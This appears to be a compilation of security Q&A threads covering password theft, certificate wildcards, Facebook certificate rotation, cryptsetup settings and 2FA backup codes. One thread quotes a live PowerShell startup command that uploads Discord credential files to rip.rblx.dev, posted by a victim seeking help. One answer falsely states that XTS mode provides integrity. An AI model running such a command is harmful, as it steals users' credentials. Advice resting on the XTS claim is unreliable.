How could be my skype password stolen? My skype password was recently changed. I've changed it back and found it in the internet on hacker's site. My password is pc-generated, like as2fZ12v. How did they manage to hack it, if I've never written it anywhere?

Although Skype uses robust mechanism and cryptography to authenticate a user, a password can be compromised in many ways from many different points. For example:

From your endpoint, e.g. malware stealing your password, using a keylogger, etc.
From external parties, e.g. password reused on another system/application which has been hacked, password manager being compromised
Guessed by an attacker, e.g. brute-forcing, "lost my password" feature revealing the password in clear-text

In fact, there are so many different ways to compromise your password that one can not answer your question precisely.

Most of the time, attackers are able to obtain credentials on robust applications that they cannot compromise directly (e.g. Skype, Facebook, Google) thanks to password being reused on different applications and systems with weaker security settings.

For instance, when a big username & passwords list is leaked on internet, hackers immediately check for those credentials on other applications.

You can also check online tools that verify if your username / email has been compromised somewhere, for example: Have I been pwned


What are wildcard certificate limitations in SAN extension? Consider following example:

We created own CA certificate (self-signed) and imported into browser trust store.
We signed certificate by this CA certificate with SAN extension with following domains:

DNS: *.dev
DNS: *.*.dev

No matter if CN is present in certificate or even whole DN is missing.
Still getting following errors in browsers when accessing domain https://test.dev:

Firefox 45.8.0:

test.dev uses an invalid security certificate. The certificate is only valid for the following names: *.dev, *.*.dev Error code: SSL_ERROR_BAD_CERT_DOMAIN

Chrome 58.0.3029.81 (64-bit):

NET::ERR_CERT_COMMON_NAME_INVALID

There is only one working wildcard in SAN for third level domain, when browsers accepts connection:

DNS: *.secondlevel.dev

Multilevel wildcard in SAN is not accepted by browsers:

DNS: *.*.secondlevel.dev

Is there a way to have multilevel wildcard in SAN extension or what are limitations for wildcards in SAN extensions?

From RFC 6125:

  The client SHOULD NOT attempt to match a presented identifier in
         which the wildcard character comprises a label other than the
         left-most label (e.g., do not match bar.*.example.net).

Thus, wildcard is only allowed in the left-most label which automatically restricts it to at most one level of wildcard.

A similar restriction can also be found in the CA/Browser Forum
Baseline Requirements 1.4.2 which combined with other definitions in the document restricts the wildcard to only the left-most label:

  Wildcard Certificate:     A   Certificate containing  an  asterisk    (*) in  the left‐most   position    of  any of  the Subject
  Fully‐Qualified Domain  Names   contained   in  the Certificate.

Apart from that the CA/Browser Forum Baseline Requirements have more restrictions which result in *.dev not working since dev is in the public suffix list:

  CAs   SHALL   revoke  any certificate where   wildcard    character   occurs  in  the first   label   position    immediately to  the left    of  a   “registry‐controlled”   label   or  “public
  suffix”.

For more information see section "3.2.2.6 Wildcard Domain Validation" of the Baseline Requirements.


What is this PowerShell script sending Discord info to random server? Upon turning on my personal Windows 10 computer tonight, I was greeted with ConEmu telling me that two PowerShell commands were run at startup. Both commands were the same thing:

powershell -windowstyle hidden -Command "& {&invoke-webrequest -method put -infile 'C:\Users\foo\AppData\Roaming\Discord\Local Storage\leveldb\000005.ldb' https://rip.rblx.dev/c/}"

The source of these commands are two batch files in C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp - LVTUSIX.bat and LVTUSIXd.bat. Both files were created this morning while I was away from my computer (about 30 min after turning it on). I'm unaware of a way to see who/what created the files - they are owned by the administrators group.

I can't find anything online about rip.rblx.dev or these batch files. A whois lookup on the domain reveals that all the info is privacy-protected.

I'm very suspicious as some research reveals that these .ldb files contain Discord user credentials.

Is anyone aware of what might be going on? Alternatively, does anyone have advice on how I might be able to find more info? I've since temporarily mangled the files to prevent them from running until I learn more. Thank you in advance.

Checking the domain and it's siblings on VirusTotal can be useful.

According to VirusTotal the parent rblx.dev domain points to an IP (91.195.240.94) which looks like a malware command & control server. So I'd say chances are high your PC has been compromised, and you might want to reimage it entirely (particularly as whoever dropped the scripts has elevated privileges already).


SSL fingerprint inconsistency: what does it mean? I apologize if this is not the best place to ask my question on the Stack Exchange network, I couldn't figure out where to get enough attention and be relevant.

Facebook provides a SSL host, it can be accessed by https://www.facebook.com.
Basically, as I understand it, changes in the certificate should only occur when the old certificate is to be removed.
However, Perspectives (an addon for Firefox, checking fingerprints from many servers) finds inconsistencies in the fingerprints of Facebook. I am concerned and I would like your insights about this matter.

EDIT: explanation of the screenshot

Notary and current key column lists all the servers that tried to access www.facebook.com, and what fingerprint they found in the host's certificate.
The Key history shows key changes over a period of 30 days.
We can therefore conjecture that:

Globally, certificate changes occur
One certificate (blue) seems to be the main certificate
The others replace it sometimes and are rather suspicious

Why would Facebook change their certificate in this manner?
Is it a common/safe practice?

I understand that PKI with Certification authorities are not very secure, I know that it's easy for some people (either rich, powerful or knowledgeable) to get a certificate for whatever domain they wish. But before going all paranoid, I wish to know if there's a logical explanation that has nothing to do with security.

As a comparison here is the notary results for https://encrypted.google.com:

Certificate changes occur regularly, however the browser's key can be seen only once on a 30 days period.
I start to think that nothing is really fishy, but these practices seem to undermine perspective's usefulness and requires users to trust corporations. They should at least provide some kind of explanation for this and why not, a list of their certificate fingerprints.

Bounty: I'd like so see some references about such a system, surely it is possible to find a specification or document recommending such a configuration with multiples certificates within a same regional cluster as it seems to be the case for Facebook. Also, if other credible theories exist please share them.

Established facts

Thanks to answers and comments in this thread, we could figure out:

Facebook indeed has different certificates
Even behind a single IP (load balancer)
Revoking a certificate and replacing it would be easier this way

BUT

Does this improve security?
Keeping track of which server has which certificate looks tedious, is this method really worthwhile? It's not even scalable since certificates are different within a single regional cluster
How about just keeping spare certificates in case of a leak? Keeping them versus deploying them all seems better from a security point of view: if one leaked, why not the others?

EDIT: accepted answer

Refer to the accepted answer and comments, I see things more clearly. It helped me understand the reasons behind such a setup, real life deployments may not be as simple as I originally thought. I find it sad that perspective addon is almost useless in such occasions though, but I can't expect Facebook to care about this, it's meaningless for almost everyone.
Thank you all for your input.

This probably depends on dns resolution + caching that might happen also at the notary servers. If you resolve www.facebook.com you usually get one IP address. But this IP changes over time and may lead you to somewhere different.

I just did a quick check and indeed the www.facebook.com IP address I was given changed, and also the certificate information was different.

Over the course of a few minutes, I received 3 different IP addresses for www.facebook.com: 69.171.229.16, 69.171.234.80, 69.171.228.40

Getting the SSL certificate for each of those IPs produced different certificates. However the certificates weren't consistent even for the same IP address it seems. Over those few minutes I received at least two certificates:

-----BEGIN CERTIFICATE-----
MIIDzDCCAzWgAwIBAgIQPAjP7r6f68QrsT7gPWIL3zANBgkqhkiG9w0BAQUFADCB
ujEfMB0GA1UEChMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazEXMBUGA1UECxMOVmVy
aVNpZ24sIEluYy4xMzAxBgNVBAsTKlZlcmlTaWduIEludGVybmF0aW9uYWwgU2Vy
dmVyIENBIC0gQ2xhc3MgMzFJMEcGA1UECxNAd3d3LnZlcmlzaWduLmNvbS9DUFMg
SW5jb3JwLmJ5IFJlZi4gTElBQklMSVRZIExURC4oYyk5NyBWZXJpU2lnbjAeFw0x
MTExMTcwMDAwMDBaFw0xMjA3MTMyMzU5NTlaMGoxCzAJBgNVBAYTAlVTMRMwEQYD
VQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8xFzAVBgNVBAoTDkZh
Y2Vib29rLCBJbmMuMRkwFwYDVQQDExB3d3cuZmFjZWJvb2suY29tMIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQC4e9C0eD3zy0YR829bH7fd3PGGDp/3Rd7UR65Q
+jcsRoLZaer9k9tPEOd5ZmWR1MTzwVEmZ94fhoWf219K2Nx/v7fQaWYh5U0DETUo
bkDfR4zBAe+oMuFDIGrhEkUEdlWUOcpvScrtzRjRLyikTc4twjRlpB5RdnGGFopw
CRTNMwIDAQABo4IBIDCCARwwCQYDVR0TBAIwADBEBgNVHSAEPTA7MDkGC2CGSAGG
+EUBBxcDMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9y
cGEwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL1NWUkludGwtY3JsLnZlcmlzaWdu
LmNvbS9TVlJJbnRsLmNybDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIw
CwYDVR0PBAQDAgWgMCkGA1UdEQQiMCCCEHd3dy5mYWNlYm9vay5jb22CDGZhY2Vi
b29rLmNvbTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3Nw
LnZlcmlzaWduLmNvbTANBgkqhkiG9w0BAQUFAAOBgQANiGfuAUQqkUZiD2cozCmb
7+e6vK5yzc/3o/zAd+QBydo7dkPo/t8nIHUfGxcAKUICjAzH/j3FDykK3bupFvBW
D4GoU6qVvNFgH8ucYWMNbxsknN/s3lcFryIGZYFcsYuPEB/rbBEEseKTilUSR7vt
pUEsLwSGdWwTNtKgy/COcQ==
-----END CERTIFICATE-----

and

-----BEGIN CERTIFICATE-----
MIIDnzCCAwigAwIBAgIQCSGX4cDpzQPaNSQ2VhCGgTANBgkqhkiG9w0BAQUFADCB
ujEfMB0GA1UEChMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazEXMBUGA1UECxMOVmVy
aVNpZ24sIEluYy4xMzAxBgNVBAsTKlZlcmlTaWduIEludGVybmF0aW9uYWwgU2Vy
dmVyIENBIC0gQ2xhc3MgMzFJMEcGA1UECxNAd3d3LnZlcmlzaWduLmNvbS9DUFMg
SW5jb3JwLmJ5IFJlZi4gTElBQklMSVRZIExURC4oYyk5NyBWZXJpU2lnbjAeFw0x
MTA3MTQwMDAwMDBaFw0xMjA3MTMyMzU5NTlaMGoxCzAJBgNVBAYTAlVTMRMwEQYD
VQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8xFzAVBgNVBAoTDkZh
Y2Vib29rLCBJbmMuMRkwFwYDVQQDExB3d3cuZmFjZWJvb2suY29tMIGfMA0GCSqG
SIb3DQEBAQUAA4GNADCBiQKBgQC4e9C0eD3zy0YR829bH7fd3PGGDp/3Rd7UR65Q
+jcsRoLZaer9k9tPEOd5ZmWR1MTzwVEmZ94fhoWf219K2Nx/v7fQaWYh5U0DETUo
bkDfR4zBAe+oMuFDIGrhEkUEdlWUOcpvScrtzRjRLyikTc4twjRlpB5RdnGGFopw
CRTNMwIDAQABo4H0MIHxMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0
cDovL29jc3AudmVyaXNpZ24uY29tMAkGA1UdEwQCMAAwRAYDVR0gBD0wOzA5Bgtg
hkgBhvhFAQcXAzAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5j
b20vcnBhMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9TVlJJbnRsLWNybC52ZXJp
c2lnbi5jb20vU1ZSSW50bC5jcmwwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUF
BwMCMAsGA1UdDwQEAwIFoDANBgkqhkiG9w0BAQUFAAOBgQAwUGokl1919Kf6YPDK
uoF+k7CFm+j2YtZqw4ilP9166qkM8IDWyYa87MB084WXSyfS1VnT5FSwzjP37+Qx
gjRaROuWGxfY25KebCQpoBW2PJp3S1JmqHHyxjk4mzr+tzWK0Qn+tlBUy9igtkIh
VybjO+AxBZve1qyJIsVraz8wrw==
-----END CERTIFICATE-----

Facebook might have some priority-list of which IP address the DNS issues and then the SSL endpoint you hit (via their load balancers) when you access any one of the facebook IP addresses. Their infrastructure setup might 'prefer' some endpoints over others (maybe they have stronger hardware on one endpoint over another), which is why you'd mostly see one fingerprint, but occasionally another.

UPDATE:

To answer your additional questions more specifically:

  Does this improve security?

I think it does, but primarily if you consider availability rather than confidentiality or integrity when you say 'security'. If one certificate expires/needs to be revoked/needs replacing for any other reason, you still have another one fully-operational, live and ready.

  Keeping track of which server has which certificate looks tedious, is
  this method really worthwhile? It's not even scalable since
  certificates are different within a single regional cluster

It might be a bit tedious, but I'm sure it's only a fraction of the tedious tasks facebook have to deal with in the grand scheme of things. Is it worth it? I think so, and I'd say facebook do it for a reason (As I mentioned above, primarily availability reasons). I would imagine it's not running on a server, but some beefy dedicated SSL accelerator/endpoint cluster of some sort. Those will handle SSL traffic and then reverse-proxy communication to some front-end web servers (which wouldn't need to worry about certificates).

  How about just keeping spare certificates in case of a leak? Keeping
  them versus deploying them all seems better from a security point of
  view: if one leaked, why not the others?

Yes, keeping some spare certificates offline is a very good idea, and without knowing I would bet Facebook do that too. Having multiple online certificates is not mutually exclusive to having a few offline too. You are assuming that they deploy all of them, which might not be the case. Also making the logical connection that if one leaked so would the others requires more facts. If they have good security in place to keep things segregated, then one compromise doesn't immediately link to another. They could, for example, use different HSMs from different vendors on different server OS, protected by a separate set of firewalls and managed by a completely independent teams.


Is it legal to teach about hacking and tools? I'am currentliy working on a e-learning content about wireless security.
It is an app I want to launch on the AppStore and Google Play.
It shows what the problems and dangers are and also what tools hacker use with an explanation how they work. So the actual commands are shown and the tools are demonstrated in a video.

Could there be a legal problem in some countries talking about the tools, naming and demonstrating them?

Obviously, different parts of the world have different laws, and no doubt some of the more hardline states may take a dim view of someone purposefully guiding someone on how to 'hack'.

Your question is very open and contains many variables, for example; if you could be seen as providing material support to terrorists in some western countries if the wrong person makes use of your information. (Although I am unsure of any cases when this has occurred)

Additionally, there are many tutorials and guides online on how to 'hack' that are perfectly legal and will probably never be in any threat from legal action.

The main thing to consider is not what you are writing about, but the intent of what you're writing for. If you write with a clear intent to break the law or support someone breaking the law, then you may find yourself in trouble.

Fundamentally, in most western countries it is not illegal to write about hacking tools, to develop hacking tools or to use hacking tools. As long as you don't break the law or provide support for someone else to break the law.

Have a look at the Wikipedia article on Bomb-making instructions on the internet, as there are some parallels, and it goes some way to explaining the gray area of this.


Email address used by someone else to order on line Someone, or however it's being done, is ordering things from all over the internet, using my son's old email address.

He no longer uses that address, however, they are placing orders to our address.

So far the orders have been declined due to incorrect credit card info. Nobody can really tell me what to do. If I delete his old email address, should that end this? How and why does this happen?

The first question that comes to mind is why someone would order something, using your son's email address and ship the order product(s) to your address.

In my opinion, fraudsters can be ruled out because there is nothing gained by shipping the products to your address.

Second, how sure are you that the old email address is no longer used by your son? Does it show "last logged in from" information? If so, does this match your IP address / location?

How is the email address protected? Meaning only by a username and password or is there also two factor authentication in place?

Is your son's old email's password used in other places? If so, change the passwords for all of the accounts that use the same password as his account could be compromised.

Deleting the email address will destroy any evidence, however, changing the password to his old account would perhaps be a better option.

Why this happens? Well that's just a wild guess. Could be anything from your son trying to see what happens to a friend who's pulling a "joke" on him. As mentioned before, I doubt it's a fraudster because it doesn't make sense to ship product to your address.

This is perhaps not what you wanted to "read", but I've seen crazier things happening.


If someone gets my Routers Device Access code can they remove the firewall settings? If this happens what can a bad person do to my firewall settings, will I be able to know if this happens. i.e. would my pc be wide open to malware as soon as I get on a browser like google?

Yes but the following has to be true:

They are on your LAN, i.e connected to your network (Wifi, ethernet etc)
They can get remote access to your network. E.g Many routers have a remote access protocol, make sure to disable it or if you really need it make sure to have a great password. Take steps to secure your router generally, (disable UPnP etc) to block all remote access points.
You have a vulnerability in your router. This is very common, keep your firmware up to date, check online to see if your router has any un-patched issues.


Should I add picture(s) to my OpenPGP key? I'm toying with the idea of creating a pair of OpenPGP keys, and I'm wondering if I should include a picture or two. I know it will make my key a lot bigger, but is it still worth it?

I'm thinking of adding a passport-photo of myself.

I'm also wondering if I should also add a picture of a scan of my signature (you know, the old type - made with pen on paper). Would that be useful? Would it add risk?

Pictures would add additional information on your identity: similar to providing information on your name, location, place and date of birth, they might help others in identifying you (and distinguishing from people with similar names). A picture of you (and your signature, which seems an interesting idea) might help at verifying people meet with the right ones (or have a document really issued by you) when meeting: whether this is a real world problem, might be subject of discussion.

Compare your OpenPGP key with "extended" identity information with a digital identity card/passport.

Anyway, the risks of doing so are rather obvious. There is no risk to the "technical" security of your key, signatures on your images are just further signatures, exactly the same as the ones on your other user identities. For sure, there is a risk of identity theft, though: as all other information on your person, these could be used to impersonate your identity. If you've already put your photo on social media accounts, and your signature to your CV you put online, those information are public anyway, and all you do is giving a statement "these are really my picture and signature".


How secure is a https website? Possible Duplicate:
  Does an established ssl connection mean a line is really secure

When I visit a website -- say, https://ebanking.pick-your-bank.com -- my browser (fully patched version of Firefox or IE8/9) will display if it finds everything OK with this https connection / website.

How secure am I that everything is actually OK?

Note: This question asks about https security on a public hotspot. I hope to extend the scope to the following points: (not restricted to public networks, also just my private cable-bound connection to my ISP)

Certificates?
Browser?
(Local) network?

Edit: I would like to qualify the "security" I ask for: For the scope of this question, let's assume that the servers behind the https connection are in fact secure. That is, the "real" servers haven't been compromised and the data there is decently secured. Let's focus on the connection (also server side) and client/network side of things. (This doesn't imply that one should be blind to the possibility of compromised servers. Let's just not focus on this aspect for this question. Thanks.)

At risk of sounding very pessimistic, a website using HTTPS actually says almost nothing about how secure a website is, unfortunately. All it tells you is that they use an accepted mechanism to secure the communication link between you and them.

Unfortunately:

the encryption used on this link could be insecure
you may be connecting to a malicious man-in-the-middle, and if you don't know how certificates work you may not spot this
the website itself may have many insecurities
the server the website is hosted on may be vulnerable
etc.

The only real benefit is that if HTTPS is used correctly, your communication is encrypted, which does provide an increased level of security for the end user than a site which doesn't.

correct in this scenario means:

you trust that the certificate presented to your browser is the one for the website your are trying to get to (your mileage may vary)
the version of SSL on the server is up to date and is only using strong algorithms (have a look here)

But as I said before, this can tell you nothing about the security of the server itself.


Best practices for usefully storing two factor authentication backup codes? For a lot of web services offering two factor authentication, after setting up the system, you are given a short list of backup codes (one-time pads) that are around 7-10 characters long. These are meant to be used in cases where you do not have access to your second authentication factor, such as a lost device, traveling, etc.

What are some good ways/ideas to being able to carry around the backup codes on your person so that they are:

  Not obviously identify what service they are connected to, so that others won't see "Google Acct: 9824 24 312"
  Not easily able to be used by someone who steals a notecard with the backup codes on it for example.
  Easy for the user to understand and use without the means of anything more advanced than a basic calculator (just an example, there could be means without any device at all)

Use the One-Time Pad method to encrypt the codes. Then you can easily decrypt them with a pen and paper as long as you remember the key. Since the 2fa code's characters are nearly-uniform (all characters are equally likely to appear in each key position), you can use a non-uniform key such as an easy-to-remember phrase.

A bonus to encrypting your codes is you can carry multiple copies of them (one in your suitcase, one in your wallet, one on a public URL) and not worry about them getting lost or stolen.

One weakness of this is if you use the same key to use a One-Time Pad to encrypt all your 2fa backup codes and one of your codes gets brute-forced, the attacker can derive the key and then decrypt all your codes. While it is standard practice for account providers to rate-limit logins to help prevent brute-force attacks, some account providers may have worse protection than others and it should not be assumed that all account providers have adequate protection. Your 2fa backup code security is then only as good as the weakest account provider. Therefore, you should use a different key for each account which negates one of the major benefits of this method: that you only have to memorize one key.

On the uniformity of 2FA codes

When using One-Time Pads (OTP) to encrypt a sentence, the key must be uniform to guard against frequency analysis. But in general, either the plaintext or the key need to be uniform. Google Authenticator and other 2fa providers use a hash generated by SHA-1 to generate the 2fa codes which is the standard for HOTP (RFC4226) and TOTP (RFC6238). While SHA-1 may not be perfectly uniform, SHA-1 is nearly-uniform and close enough to uniform that frequency analysis is not a feasible attack. Therefore, any non-obvious key such as an easy-to-remember phrase or sentence can be used to encrypt the 2fa codes.


Is "different usernames" as good as "different passwords" The answers to this question, and the associated xkcd got me wondering: if I use different account names in every service, then can I use the same hard-to-crack password in each?

I'm thinking that cross-site password hacking, a-la-xkcd, is done by a machine, not a person.   So it's easy to have usernames/emails that are site dependent (for example, all email addressed to @gregories.net comes to me, so I can have bank-account@gregories.net as the email for my bank).   That's a lot easier to remember than a bunch of secure passwords, but if the bank gets hacked, bank-account@gregories.net is not going to work anywhere else.

What's the problem with this?

Big data analysis means that your different usernames probably aren't as disassociated from one another as you think they are. In other words, they are likely all identifiable as yours.

But perhaps the bigger issue is that if your password is compromised in one attack, then it becomes part of a password database the attackers can use against other password databases. Regardless of your usernames, they'll still (potentially) compromise your other accounts just by virtue of already having your common password in their database.

More recent attack vectors use heuristic techniques more, and things like rainbow tables less, but still consider that if a heuristic approach has broken your password (and the lessons learned have been fed back into the password cracking algorithms), then it's going to break the same password everywhere you've used it.

You're still better off using unique passwords for each service, IMO.


What parameters do I give cryptsetup? I want to have an encrypted partition on my SSD.

Benchmarks (a 100 samples of 100MiB each):
Average read speeds: 418 MB/s
Average write speeds: 386 MB/s

# Tests are approximate using memory only (no storage IO).
PBKDF2-sha1       484554 iterations per second for 256-bit key
PBKDF2-sha256     666185 iterations per second for 256-bit key
PBKDF2-sha512     459096 iterations per second for 256-bit key
PBKDF2-ripemd160  297552 iterations per second for 256-bit key
PBKDF2-whirlpool  204161 iterations per second for 256-bit key
#  Algorithm | Key |  Encryption |  Decryption
     aes-cbc   128b   535.0 MiB/s  1903.7 MiB/s
 serpent-cbc   128b    75.2 MiB/s   264.3 MiB/s
 twofish-cbc   128b   165.7 MiB/s   311.6 MiB/s
     aes-cbc   256b   392.5 MiB/s  1433.2 MiB/s
 serpent-cbc   256b    75.2 MiB/s   265.2 MiB/s
 twofish-cbc   256b   165.4 MiB/s   312.8 MiB/s
     aes-xts   256b  1592.4 MiB/s  1583.7 MiB/s
 serpent-xts   256b   271.9 MiB/s   260.4 MiB/s
 twofish-xts   256b   306.6 MiB/s   307.5 MiB/s
     aes-xts   512b  1218.7 MiB/s  1241.1 MiB/s
 serpent-xts   512b   272.0 MiB/s   258.8 MiB/s
 twofish-xts   512b   306.1 MiB/s   306.4 MiB/s

I don't really know how to interpret this. I see that an obvious choice is AES-XTS, but which one?
i.e. how is it possible that AES-XTS can read and write faster than my actual read/write speeds?! Does it matter at this point if I choose AES-XTS 512 VS 256? Or can they both give me the maximum read/write speeds of my drive?

What about hashing? Why is PBKDF2-SHA1 slower than PBKDF2-SHA2? And how many iterations should I choose if I chose PBKDF2-SHA512? (I don't mind waiting for up to 3-5 seconds.

AES, Serpent and Twofish are block ciphers, i.e. the basic building blocks of some cryptosystems relying on symmetric keys. AES is the standard, and there's no reason to pick anything else. All three are secure but AES has received more scrutiny to it may be considered safer. AES has better performance if your machine has hardware acceleration for it, which is the case of most high-end machines and many midrange Intel processors.

For the key size, 128 bits is fine for almost all use cases. (It's considered risky only if you want your data to resist for more than a decade.)

CBC and XTS are two block cipher mode. A mode of operation describes how the block cipher primitive is applied to data. Both CBC and XTS are fine from a security point of view. The difference is that CBC only provides confidentiality, whereas XTS provides both confidentiality and integrity. If you're only concerned about someone decrypting your data, CBC is good enough. With XTS, you'll know if someone (or something) corrupts the data on your disk: you'll get an error message instead of garbage data. Integrity verification is only useful if someone can modify your data, but you still trust the hardware afterwards, which is rarely the case. With XTS, there are two keys, which is why the key size figures are double those for CBC. aes-xts   256b uses two AES-128 keys, etc.

Finally PBKDF2 is a key stretching function, i.e. a way to compute a key from a password that slows down brute-force attempts. The second part is a hash function. PBKDF2 is actually a famility of key stretching functions: each choice of hash defines a choice of PBKDF2 mode. Here, all choices are ok, but SHA-1 is deprecated. Pick SHA-256 or SHA-512: they're the standard choice. Performance-wise, SHA-256 has a slight edge on 32-bit machines, SHA-512 on 64-bit machines. SHA-1 is deprecated (though not yet known to be broken, especially for in a key stretching context). SHA-256 or SHA-512 are fine.

Summary: pick PBKDF2-sha256 and aes-cbc unless you have a good reason.


Secure web user authentication even after server-side database compromise By now, we should all know to use bcrypt or scrypt to store salted password hashes with a sufficient number of rounds. (See, e.g., https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet) The lesson: assume your authentication database will be compromised at some point.

We should also all know how to design user authentication cookies that meet the level of security and confidentiality our application requires using HMACs with per-user keys. The most often-cited paper I've seen is http://www.cse.msu.edu/~alexliu/publications/Cookie/cookie.pdf.

However, every paper and proposal I've read that tackles secure user authentication addresses a different, overlapping set of concerns (eg, eavesdropping, tampering, & replay attacks) and are often aimed at storing opaque-to-the-user data too.

I can't find any that address how to make client-side user authentication cookies resistant to attack even after the server's authentication database has been compromised.

The above paper, for example, just relies on the secrecy of the server's key. Many implementations I've seen also generate a per-user token that is used in the HMAC and stored on the server. In either case, once the server secret is compromised, it's trivial to forge any user's credentials.

Are there any references or known implementations that cover this scenario for typical web applications (i.e., outside of corporate and banking environments)?

If the whole server is compromised, then whatever the server can do, the attacker can, too.

Therefore, the only way to have a user authentication which resists past a total server compromise is to base that authentication on something which the user can do, but which the server cannot, but such that the server can verify that the user is doing it. This calls for a digital signature. The user should somehow store a private key somewhere on his machine, and use it to sign some sort of challenge sent by the server.

The private key should not be accessible from Javascript; otherwise, the attacker could plant some Javascript code which would retrieve the user's private key. In a Web context, digital signatures but without code sent by the server, this points at user certificates.

This can be done. Moreover, this is done (I have seen it used by some banks, issuing certificates to their customers). SSL supports client-side certificates and recent browser versions have become almost user-friendly when it comes to using them. You could even distribute smartcards (or equivalent gadgets which plug in a USB port, to make installation easier).


In what sense is Knock to Unlock safer than a password? I've recently seen a youtube video, which is advertising an iphone app which will unlock your mac computer by knocking on your iphone. The ad is claiming that it is faster and safer than typing your password. I am concerned about the security of this method. Can anyone tell me if it is really safer to do so?

It depends on how they implement it, but the most secure would be to use that with a password.  They are probably using a certificate based system which wouldn't be able to be guessed and they are turning the phone in to a "what you have" token that can pass the information to the authentication system when you prove you have it by knocking on it.

The exact security of the system would depend on how secure they implemented the authentication though and unless it requires a password to be entered on your phone, it reduces security related to someone being able to simply rob you for your phone to get in to your computer even though it would increase the security of someone without access to your phone being able to get in.

This is why two factor authentication is typically considered a best practice, that way they need not only something you have but also either something you are or something you know.  Generally, it's also good to have at least one be something you know since it's far easier to force you to use your biometrics or take something from you, but they can't force a secret out of your head, but some cases are ok to be who you are and what you have.


How advisable is to give my phone number as part of dating/ casually socializing? TLDR: What are the risks, consequences, of giving my phone number to civilian people I meet while socializing/dating or in casual life? If a bad actor gets my phone number, what attacks to expect, and how can protect myself from their attacks?

Disclaimer: I'm a super beginner in security as you'll easily find out by reading below. This is a question from a casual person, with the goal of informing casual, non-expert people like me, that I think, for example, a great chunk of women have while hesitating to give phone numbers to men they like but aren't sure they are violent/going to use phone number to do violent oppressive acts. In my experience people hesitate to give their phone numbers in my country, I want to know how unsafe this really is, and what is the solution.

So, I want to date people, to give my numbers to them, or to friends, I met casually in the street / outside, and, analogously, I'm worried THEY are worried/freaking out UNJUSTIFIEDLY about giving their phone number to me. I have researched about the posssible dangers of giving your number, and they don't scare me very much, except possibly the 2 factor authentication, for which the solution is to not have 2-factor authentication with a phone number to start with..

The problem of getting harassed/stalked requires the harasser to change numbers, which I would like if you answer me if they manage to do that or are stopped by the phone company, of course depends on company and country. In case they do, they can't avoid spending money calling me, while I just hang up if I don't hear a familiar hello. I don't see any scenario where this calls lead to me being in more danger than without the calls, the calls themselves just make my phone ring, how could that more than annoy me?

Also, if giving our phones number were that dangerous, then it's extremely in dissonance of how 99.9% conduct themselves in real life. Surely 99% has given their phone to friends, school were the kids go, the telephone directory, gym, dates... I mean, if start today not giving my phone number, that doesn't erase the already hundreds of entities I have shared my number with. So, if I already shared my number with others, maybe now it's on a call-spammer list and people can buy it online. Also, giving phone number can be bad for identity theft.

If giving phone number is dangerous, because of reasons I'm overlooking, is a solution to that to give email such as gmail? Because then, to spam you they would need to surpass google spam filter which is remarkably hard.

Today a phone number is as much PII as your SSN, credit card number, or physical address.  Aside from that, it could be painful and time consuming to change you phone number.

Consider using Google Voice, Sudo (https://sudoapp.com/) or Blur (https://www.abine.com/index.html) to mask your real phone number.  Sudo allows you to create a compartmentalized personas complete with email and phone.  If the masked number is compromised somehow, you simply throw it away.


What risks are associated with public libraries lending mifi devices to patrons? My local public library system will soon start lending to its patrons mobile hotspot devices. This growing trend seems to me extremely risky.

I am especially concerned that a hacker who borrows such a device from the library could install malware on the device with a software or firmware modification.

Are my fears misplaced?

Those devices are small computers running some flavor of Linux, and just like any consumer-grade router their firmware is horrendous and outdated, so malware on it is definitely possible and likely.

However the malware, if any, would most likely be a generic DoS or spam bot designed to attack the open internet rather than attacking the devices behind it. Most traffic nowadays is protected by HTTPS and client devices are relatively up to date, which means an attacker using router malware to compromise client devices would get a very low return on investment compared to other methods (drive-by downloads, maladvertising, Flash exploits, etc).

So while I wouldn't use one myself, the risk for your client computer seems pretty low even if you do.


Is it dangerous for apache error_log to be writable? I was reading an article about log files and referring to apache error log it mentioned that
the logfiles should not be writeable by other users.

How can this be dangerous? Is there a certain type of vulnerability that I should learn about ?

Log files are often used to detect suspicious activities, like attacks.
But, if the log file can be modified by the attacker itself, (s)he can clean up the logs after the attack or plant false information which confuse the after-attack analysis.


No output from nmap script I'm trying to use the nmap script ssl-dh-params to identify what specific 1024-bit Diffie-Hellman group a TLS server is using.  However, the script is not giving me any output at all and I can't figure out why:

C:\Users\user3553031>nmap -p 1234 --script=ssl-dh-params 10.0.0.1
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-09 17:55 Pacific Daylight Time
Nmap scan report for somehost.somedomain (10.0.0.1)
Host is up (0.022s latency).

PORT     STATE SERVICE
1234/tcp open  unknown
MAC Address: 01:01:01:01:01:01 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.34 seconds

I know that there is a TLS listener on that port and that it supports DHE ciphersuites: the script ssl-enum-ciphers gives output including the following:

PORT     STATE SERVICE REASON
1234/tcp open  unknown syn-ack ttl 55
| ssl-enum-ciphers:
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 1024) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (dh 1024) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
